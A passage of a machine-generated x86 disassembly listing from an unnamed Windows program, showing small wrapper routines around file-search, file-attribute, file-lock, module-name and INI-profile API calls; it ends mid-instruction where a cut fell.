FUNCTION CHUNK FOR sub_4DA4AA loc_4DA5EB: ; CODE XREF: sub_4DA4AA+129j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_4DA4AA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA5FF proc near ; CODE XREF: sub_4049CD+5ECp ; sub_40752B+C0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4CF818 test eax, eax jnz short loc_4DA61F push [ebp+arg_0] call ds:dword_4E16CC ; FindClose mov [ebp+var_4], eax loc_4DA61F: ; CODE XREF: sub_4DA5FF+12j mov eax, [ebp+var_4] leave retn 4 sub_4DA5FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA626 proc near ; CODE XREF: sub_4049CD+212p ; sub_4049CD+5DBp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4CF6DE test eax, eax jnz short loc_4DA650 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E16D4 ; FindNextFileA mov [ebp+var_4], eax loc_4DA650: ; CODE XREF: sub_4DA626+19j mov eax, [ebp+var_4] leave retn 8 sub_4DA626 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA657 proc near ; DATA XREF: _6:004E1320o var_148 = dword ptr -148h var_144 = byte ptr -144h var_118 = byte ptr -118h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 148h push esi push edi lea eax, [ebp+var_4] push eax lea eax, [ebp+var_144] push eax push [ebp+arg_0] call sub_4CF6DE test eax, eax jnz short loc_4DA6A8 and [ebp+var_148], 0 push offset dword_4DE5B4 push offset aFindnextfilew ; "FindNextFileW" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_148], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_148] mov [ebp+var_4], eax jmp short loc_4DA707 ; --------------------------------------------------------------------------- loc_4DA6A8: ; CODE XREF: sub_4DA657+20j lea ecx, [ebp+var_118] lea eax, [ebp+var_144] sub ecx, eax lea esi, [ebp+var_144] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_4] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_118] push eax push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_4] add eax, 234h push eax push 0Eh lea eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar loc_4DA707: ; CODE XREF: sub_4DA657+4Fj mov eax, [ebp+var_4] pop edi pop esi leave retn 8 sub_4DA657 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA710 proc near ; DATA XREF: _6:004E1390o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4D0858 test eax, eax jnz short loc_4DA73A push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E16FC ; GetFileInformationByHandle mov [ebp+var_4], eax loc_4DA73A: ; CODE XREF: sub_4DA710+19j mov eax, [ebp+var_4] leave retn 8 sub_4DA710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA741 proc near ; DATA XREF: _6:004E1398o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push [ebp+arg_0] call sub_4D0950 test eax, eax jnz short loc_4DA76F push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E1768 ; LockFile mov [ebp+var_4], eax jmp short loc_4DA776 ; --------------------------------------------------------------------------- loc_4DA76F: ; CODE XREF: sub_4DA741+12j mov [ebp+var_4], 1 loc_4DA776: ; CODE XREF: sub_4DA741+2Cj mov eax, [ebp+var_4] leave retn 14h sub_4DA741 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA77D proc near ; DATA XREF: _6:004E13A0o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push [ebp+arg_0] call sub_4D0950 test eax, eax jnz short loc_4DA7A8 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E179C ; UnlockFile jmp short locret_4DA7AB ; --------------------------------------------------------------------------- loc_4DA7A8: ; CODE XREF: sub_4DA77D+12j push 1 pop eax locret_4DA7AB: ; CODE XREF: sub_4DA77D+29j leave retn 14h sub_4DA77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA7AF proc near ; CODE XREF: sub_404716+110p ; sub_409288+10Fp ... var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_4D1CA8 test eax, eax jnz short loc_4DA7CD push [ebp+arg_0] call ds:dword_4E16F4 ; GetFileAttributesA jmp short locret_4DA7D9 ; --------------------------------------------------------------------------- loc_4DA7CD: ; CODE XREF: sub_4DA7AF+11j movzx eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0Fh inc eax locret_4DA7D9: ; CODE XREF: sub_4DA7AF+1Cj leave retn 4 sub_4DA7AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA7DD proc near ; DATA XREF: _6:004E1270o var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004DA896 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEA78 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_4D835A pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte mov [ebp+var_24], eax cmp [ebp+var_24], 103h ja short loc_4DA85E lea edx, [ebp+var_28] mov ecx, [ebp+var_20] call sub_4D1CA8 test eax, eax jnz short loc_4DA86C loc_4DA85E: ; CODE XREF: sub_4DA7DD+70j push [ebp+arg_0] call ds:dword_4E16F8 ; GetFileAttributesW mov [ebp+var_1C], eax jmp short loc_4DA87B ; --------------------------------------------------------------------------- loc_4DA86C: ; CODE XREF: sub_4DA7DD+7Fj movzx eax, [ebp+var_28] neg eax sbb eax, eax and eax, 0Fh inc eax mov [ebp+var_1C], eax loc_4DA87B: ; CODE XREF: sub_4DA7DD+8Dj or [ebp+var_4], 0FFFFFFFFh call sub_4DA886 jmp short loc_4DA896 sub_4DA7DD endp ; =============== S U B R O U T I N E ======================================= sub_4DA886 proc near ; CODE XREF: sub_4DA7DD+A2p ; DATA XREF: _5:004DEA80o mov eax, [ebp-20h] mov [ebp-30h], eax push dword ptr [ebp-30h] call sub_4D83DD pop ecx retn sub_4DA886 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4DA7DD loc_4DA896: ; CODE XREF: sub_4DA7DD+A7j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_4DA7DD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA8AA proc near ; DATA XREF: _6:004E1278o var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 004DA9D8 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEA88 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 20h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_4D835A pop ecx mov [ebp+var_34], eax mov eax, [ebp+var_34] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte mov [ebp+var_28], eax lea edx, [ebp+var_24] mov ecx, [ebp+var_20] call sub_4D1CA8 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4DA995 mov [ebp+var_1C], 1 movzx eax, [ebp+var_24] neg eax sbb eax, eax and eax, 0Fh inc eax mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+var_2C] mov eax, [eax+0Ch] mov ecx, [eax+1Ch] mov eax, [eax+20h] mov edx, [ebp+arg_8] mov [edx+4], ecx mov [edx+8], eax mov eax, [ebp+var_2C] mov eax, [eax+0Ch] mov ecx, [eax+1Ch] mov eax, [eax+20h] mov edx, [ebp+arg_8] mov [edx+0Ch], ecx mov [edx+10h], eax mov eax, [ebp+var_2C] mov eax, [eax+0Ch] mov ecx, [eax+1Ch] mov eax, [eax+20h] mov edx, [ebp+arg_8] mov [edx+14h], ecx mov [edx+18h], eax mov eax, [ebp+arg_8] and dword ptr [eax+1Ch], 0 mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+arg_8] mov eax, [eax+8] mov [ecx+20h], eax jmp short loc_4DA9BD ; --------------------------------------------------------------------------- loc_4DA995: ; CODE XREF: sub_4DA8AA+7Bj push offset aKernel32_0 ; "kernel32" push offset aGetfileattri_1 ; "GetFileAttributesExW" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz short loc_4DA9BD push [ebp+arg_8] push 0 push [ebp+arg_0] call [ebp+var_30] mov [ebp+var_1C], eax loc_4DA9BD: ; CODE XREF: sub_4DA8AA+E9j ; sub_4DA8AA+103j or [ebp+var_4], 0FFFFFFFFh call sub_4DA9C8 jmp short loc_4DA9D8 sub_4DA8AA endp ; =============== S U B R O U T I N E ======================================= sub_4DA9C8 proc near ; CODE XREF: sub_4DA8AA+117p ; DATA XREF: _5:004DEA90o mov eax, [ebp-20h] mov [ebp-38h], eax push dword ptr [ebp-38h] call sub_4D83DD pop ecx retn sub_4DA9C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4DA8AA loc_4DA9D8: ; CODE XREF: sub_4DA8AA+11Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4DA8AA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DA9EC proc near ; CODE XREF: sub_404716+1F5p ; sub_405053+38p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4D0672 test eax, eax jnz short loc_4DAA11 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E1700 ; GetFileSize mov [ebp+var_4], eax jmp short loc_4DAA1D ; --------------------------------------------------------------------------- loc_4DAA11: ; CODE XREF: sub_4DA9EC+12j cmp [ebp+arg_4], 0 jz short loc_4DAA1D mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_4DAA1D: ; CODE XREF: sub_4DA9EC+23j ; sub_4DA9EC+29j mov eax, [ebp+var_4] leave retn 8 sub_4DA9EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAA24 proc near ; CODE XREF: sub_40409E+18p ; sub_405898+58p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D7141 add esp, 10h test eax, eax jnz short loc_4DAA57 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E1714 ; GetModuleFileNameA mov [ebp+var_4], eax loc_4DAA57: ; CODE XREF: sub_4DAA24+1Fj mov eax, [ebp+var_4] leave retn 0Ch sub_4DAA24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAA5E proc near ; DATA XREF: _6:004E13B0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi and [ebp+var_4], 0 mov eax, [ebp+arg_8] inc eax push eax call sub_4D835A pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_8], eax mov ecx, [ebp+arg_8] inc ecx xor eax, eax mov edi, [ebp+var_8] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+var_8] push [ebp+arg_0] call sub_4D7141 add esp, 10h test eax, eax jnz short loc_4DAABF push [ebp+arg_8] push [ebp+var_8] push [ebp+arg_0] call ds:dword_4E1714 ; GetModuleFileNameA mov [ebp+var_4], eax loc_4DAABF: ; CODE XREF: sub_4DAA5E+4Dj push [ebp+arg_8] push [ebp+arg_4] push 0FFFFFFFFh push [ebp+var_8] push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar mov eax, [ebp+var_8] mov [ebp+var_10], eax push [ebp+var_10] call sub_4D83DD pop ecx mov eax, [ebp+var_4] pop edi leave retn 0Ch sub_4DAA5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAAEB proc near ; DATA XREF: _6:004E13B8o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D18CF add esp, 10h test eax, eax jnz short loc_4DAB36 push offset aKernel32_0 ; "kernel32" push offset aGetlongpathnam ; "GetLongPathNameA" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4DAB36 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_4DAB36: ; CODE XREF: sub_4DAAEB+20j ; sub_4DAAEB+3Aj mov eax, [ebp+var_4] leave retn 0Ch sub_4DAAEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAB3D proc near ; DATA XREF: _6:004E13C0o var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 004DAC52 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEA98 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi and [ebp+var_1C], 0 mov eax, [ebp+arg_8] inc eax push eax call sub_4D835A pop ecx mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_24], eax mov ecx, [ebp+arg_8] inc ecx xor eax, eax mov edi, [ebp+var_24] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push 400h call sub_4D835A pop ecx mov [ebp+var_34], eax mov eax, [ebp+var_34] mov [ebp+var_20], eax and [ebp+var_4], 0 push 0 push 0 push 400h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte mov [ebp+var_28], eax lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push [ebp+var_24] push [ebp+var_20] call sub_4D18CF add esp, 10h test eax, eax jnz short loc_4DAC0B push offset aKernel32_0 ; "kernel32" push offset aGetlongpathn_0 ; "GetLongPathNameW" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4DAC09 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_2C] mov [ebp+var_1C], eax loc_4DAC09: ; CODE XREF: sub_4DAB3D+BBj jmp short loc_4DAC28 ; --------------------------------------------------------------------------- loc_4DAC0B: ; CODE XREF: sub_4DAB3D+A1j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_8] jnb short loc_4DAC28 push [ebp+arg_8] push [ebp+arg_4] push 0FFFFFFFFh push [ebp+var_24] push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar loc_4DAC28: ; CODE XREF: sub_4DAB3D:loc_4DAC09j ; sub_4DAB3D+D4j or [ebp+var_4], 0FFFFFFFFh call sub_4DAC33 jmp short loc_4DAC52 sub_4DAB3D endp ; =============== S U B R O U T I N E ======================================= sub_4DAC33 proc near ; CODE XREF: sub_4DAB3D+EFp ; DATA XREF: _5:004DEAA0o mov eax, [ebp-24h] mov [ebp-38h], eax push dword ptr [ebp-38h] call sub_4D83DD pop ecx mov eax, [ebp-20h] mov [ebp-3Ch], eax push dword ptr [ebp-3Ch] call sub_4D83DD pop ecx retn sub_4DAC33 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4DAB3D loc_4DAC52: ; CODE XREF: sub_4DAB3D+F4j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4DAB3D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAC66 proc near ; DATA XREF: _6:004E1370o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch push edi push 0 xor edx, edx mov ecx, [ebp+arg_14] call sub_4D19D2 test eax, eax jz short loc_4DACE9 push 0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D1CC4 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4DACE7 cmp [ebp+arg_8], 0 jz short loc_4DACE7 mov eax, [ebp+arg_10] dec eax push eax push [ebp+arg_8] push [ebp+arg_C] call sub_4CC770 add esp, 0Ch mov edi, [ebp+arg_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jnb short loc_4DACDB mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_4DACE1 ; --------------------------------------------------------------------------- loc_4DACDB: ; CODE XREF: sub_4DAC66+6Bj mov eax, [ebp+arg_10] mov [ebp+var_C], eax loc_4DACE1: ; CODE XREF: sub_4DAC66+73j mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_4DACE7: ; CODE XREF: sub_4DAC66+3Aj ; sub_4DAC66+40j jmp short loc_4DAD04 ; --------------------------------------------------------------------------- loc_4DACE9: ; CODE XREF: sub_4DAC66+15j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E1724 ; GetPrivateProfileStringA mov [ebp+var_4], eax loc_4DAD04: ; CODE XREF: sub_4DAC66:loc_4DACE7j mov eax, [ebp+var_4] pop edi leave retn 18h sub_4DAC66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAD0C proc near ; DATA XREF: _6:004E1378o var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 58h push edi and [ebp+var_4], 0 push 0 xor edx, edx mov ecx, [ebp+arg_C] call sub_4D19D2 test eax, eax jz short loc_4DAD76 and [ebp+var_54], 0 push 13h pop ecx xor eax, eax lea edi, [ebp+var_53] rep stosd stosw stosb push 0 push [ebp+arg_C] push 50h lea eax, [ebp+var_54] push eax push offset dword_4E1918 push [ebp+arg_4] push [ebp+arg_0] call sub_4D1CC4 add esp, 1Ch mov [ebp+var_58], eax cmp [ebp+var_58], 0 jnz short loc_4DAD67 mov eax, [ebp+arg_8] mov [ebp+var_4], eax jmp short loc_4DAD74 ; --------------------------------------------------------------------------- loc_4DAD67: ; CODE XREF: sub_4DAD0C+51j lea eax, [ebp+var_54] push eax call sub_4CCA75 pop ecx mov [ebp+var_4], eax loc_4DAD74: ; CODE XREF: sub_4DAD0C+59j jmp short loc_4DAD8B ; --------------------------------------------------------------------------- loc_4DAD76: ; CODE XREF: sub_4DAD0C+19j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E171C ; GetPrivateProfileIntA mov [ebp+var_4], eax loc_4DAD8B: ; CODE XREF: sub_4DAD0C:loc_4DAD74j mov eax, [ebp+var_4] pop edi leave retn 10h sub_4DAD0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAD93 proc near ; DATA XREF: _6:004E1380o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 xor edx, edx mov ecx, [ebp+arg_8] call sub_4D19D2 test eax, eax jz short loc_4DADC5 push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push 0 push 0 push 0 call sub_4D1CC4 add esp, 1Ch mov [ebp+var_4], eax jmp short loc_4DADD7 ; --------------------------------------------------------------------------- loc_4DADC5: ; CODE XREF: sub_4DAD93+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E1720 ; GetPrivateProfileSectionNamesA mov [ebp+var_4], eax loc_4DADD7: ; CODE XREF: sub_4DAD93+30j mov eax, [ebp+var_4] leave retn 0Ch sub_4DAD93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DADDE proc near ; DATA XREF: _6:004E1388o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push 0 xor edx, edx mov ecx, [ebp+arg_C] call sub_4D19D2 test eax, eax jz short loc_4DAE11 push 1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push 0 push 0 push [ebp+arg_0] call sub_4D1CC4 add esp, 1Ch mov [ebp+var_4], eax jmp short loc_4DAE26 ; --------------------------------------------------------------------------- loc_4DAE11: ; CODE XREF: sub_4DADDE+12j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4DE02C ; GetPrivateProfileSectionA mov [ebp+var_4], eax loc_4DAE26: ; CODE XREF: sub_4DADDE+31j mov eax, [ebp+var_4] leave retn 10h sub_4DADDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAE2D proc near ; CODE XREF: sub_4DAE83+8p ; sub_4DAE96+9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_4DAE43 push 7Eh call ds:dword_4E178C ; RtlRestoreLastWin32Error xor eax, eax jmp short locret_4DAE81 ; --------------------------------------------------------------------------- loc_4DAE43: ; CODE XREF: sub_4DAE2D+8j mov ecx, [ebp+arg_0] call sub_4D5AD2 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4DAE7E mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_4D61E1 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4DAE7E call ds:dword_4E1710 ; RtlGetLastWin32Error test eax, eax jnz short loc_4DAE7A push 7Eh call ds:dword_4E178C ; RtlRestoreLastWin32Error loc_4DAE7A: ; CODE XREF: sub_4DAE2D+43j xor eax, eax jmp short locret_4DAE81 ; --------------------------------------------------------------------------- loc_4DAE7E: ; CODE XREF: sub_4DAE2D+25j ; sub_4DAE2D+39j mov eax, [ebp+var_4] locret_4DAE81: ; CODE XREF: sub_4DAE2D+14j ; sub_4DAE2D+4Fj leave retn sub_4DAE2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAE83 proc near ; CODE XREF: sub_40767D+5Ap ; sub_407E65+13Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_4DAE2D pop ecx pop ecx pop ebp retn 4 sub_4DAE83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAE96 proc near ; CODE XREF: sub_4D9518+B9p ; sub_4D9789+B9p ... arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_0] call sub_4DAE2D pop ecx pop ecx pop ebp retn 0Ch sub_4DAE96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAEAA proc near ; CODE XREF: sub_4DAF65+8p ; sub_4DAF78+9p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEAA8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_4DAEE1 push 7Eh call ds:dword_4E178C ; RtlRestoreLastWin32Error xor eax, eax jmp short loc_4DAF56 ; --------------------------------------------------------------------------- loc_4DAEE1: ; CODE XREF: sub_4DAEAA+29j and [ebp+var_1C], 0 and [ebp+var_4], 0 push 104h call sub_4D835A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_1C], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_1C] rep stosd push 0 push 0 push 104h push [ebp+var_1C] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte push [ebp+arg_4] push [ebp+var_1C] call sub_4DAE2D pop ecx pop ecx push 0FFFFFFFFh mov [ebp+var_28], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_28] jmp short loc_4DAF56 ; --------------------------------------------------------------------------- loc_4DAF44: ; DATA XREF: _5:004DEAB0o mov eax, [ebp+var_1C] mov [ebp+var_24], eax push [ebp+var_24] call sub_4D83DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_4DAF56: ; CODE XREF: sub_4DAEAA+35j ; sub_4DAEAA+98j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4DAEAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAF65 proc near ; DATA XREF: _6:004E12D8o arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_4DAEAA pop ecx pop ecx pop ebp retn 4 sub_4DAF65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAF78 proc near ; DATA XREF: _6:004E12E8o arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_0] call sub_4DAEAA pop ecx pop ecx pop ebp retn 0Ch sub_4DAF78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAF8C proc near ; CODE XREF: sub_407E65+Fp ; sub_407E65+264p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_4DAFA0 push 0 call ds:dword_4E1718 ; GetModuleHandleA jmp short locret_4DAFC2 ; --------------------------------------------------------------------------- loc_4DAFA0: ; CODE XREF: sub_4DAF8C+8j push [ebp+arg_0] call 